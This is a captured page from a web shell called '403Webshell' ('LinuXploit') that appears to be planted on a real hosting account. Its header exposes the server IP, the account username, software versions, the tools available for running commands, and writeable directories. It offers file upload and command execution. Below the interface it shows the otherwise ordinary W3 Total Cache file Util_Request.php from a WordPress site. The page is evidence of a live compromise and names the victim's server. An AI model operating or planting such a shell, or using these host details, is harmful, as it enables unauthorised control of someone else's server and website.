403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.222.25.32
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/Util_Request.php
<?php
namespace W3TC;

/**
 * W3 Request object
 */

/**
 * class Request
 */
class Util_Request {
	/**
	 * Returns request value
	 *
	 * @param string  $key
	 * @param mixed   $default
	 * @return mixed
	 */
	static function get( $key, $default = null ) {
		$request = Util_Request::get_request();

		if ( isset( $request[$key] ) ) {
			$value = $request[$key];

			if ( defined( 'TEMPLATEPATH' ) || get_magic_quotes_gpc() ) {
				$value = Util_Environment::stripslashes( $value );
			}

			return $value;
		}

		return $default;
	}

	/**
	 * Returns string value
	 *
	 * @param string  $key
	 * @param string  $default
	 * @param boolean $trim
	 * @return string
	 */
	static function get_string( $key, $default = '', $trim = true ) {
		$value = (string) Util_Request::get( $key, $default );

		return ( $trim ) ? trim( $value ) : $value;
	}

	/**
	 * Returns integer value
	 *
	 * @param string  $key
	 * @param integer $default
	 * @return integer
	 */
	static function get_integer( $key, $default = 0 ) {
		return (integer) Util_Request::get( $key, $default );
	}

	/**
	 * Returns double value
	 *
	 * @param string  $key
	 * @param double|float $default
	 * @return double
	 */
	static function get_double( $key, $default = 0. ) {
		return (double) Util_Request::get( $key, $default );
	}

	/**
	 * Returns boolean value
	 *
	 * @param string  $key
	 * @param boolean $default
	 * @return boolean
	 */
	static function get_boolean( $key, $default = false ) {
		return Util_Environment::to_boolean( Util_Request::get( $key, $default ) );
	}

	/**
	 * Returns array value
	 *
	 * @param string  $key
	 * @param array   $default
	 * @return array
	 */
	static function get_array( $key, $default = array() ) {
		$value = Util_Request::get( $key );

		if ( is_array( $value ) ) {
			return $value;
		} elseif ( $value != '' ) {
			return preg_split( "/[\r\n,;]+/", trim( $value ) );
		}

		return $default;
	}

	/**
	 * Returns array value
	 *
	 * @param string  $prefix
	 * @param array   $default
	 * @return array
	 */
	static function get_as_array( $prefix, $default = array() ) {
		$request = Util_Request::get_request();
		$array = array();
		foreach ( $request as $key => $value ) {
			if ( strpos( $key, $prefix ) === 0 || strpos( $key, str_replace( '.', '_', $prefix ) ) === 0 ) {
				$array[substr( $key, strlen( $prefix ) )] = $value;
			}
		}
		return $array;
	}

	/**
	 * Returns request array
	 *
	 * @return array
	 */
	static function get_request() {
		if ( !isset( $_GET ) ) {
			$_GET = array();
		}

		if ( !isset( $_POST ) ) {
			$_POST = array();
		}

		return array_merge( $_GET, $_POST );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit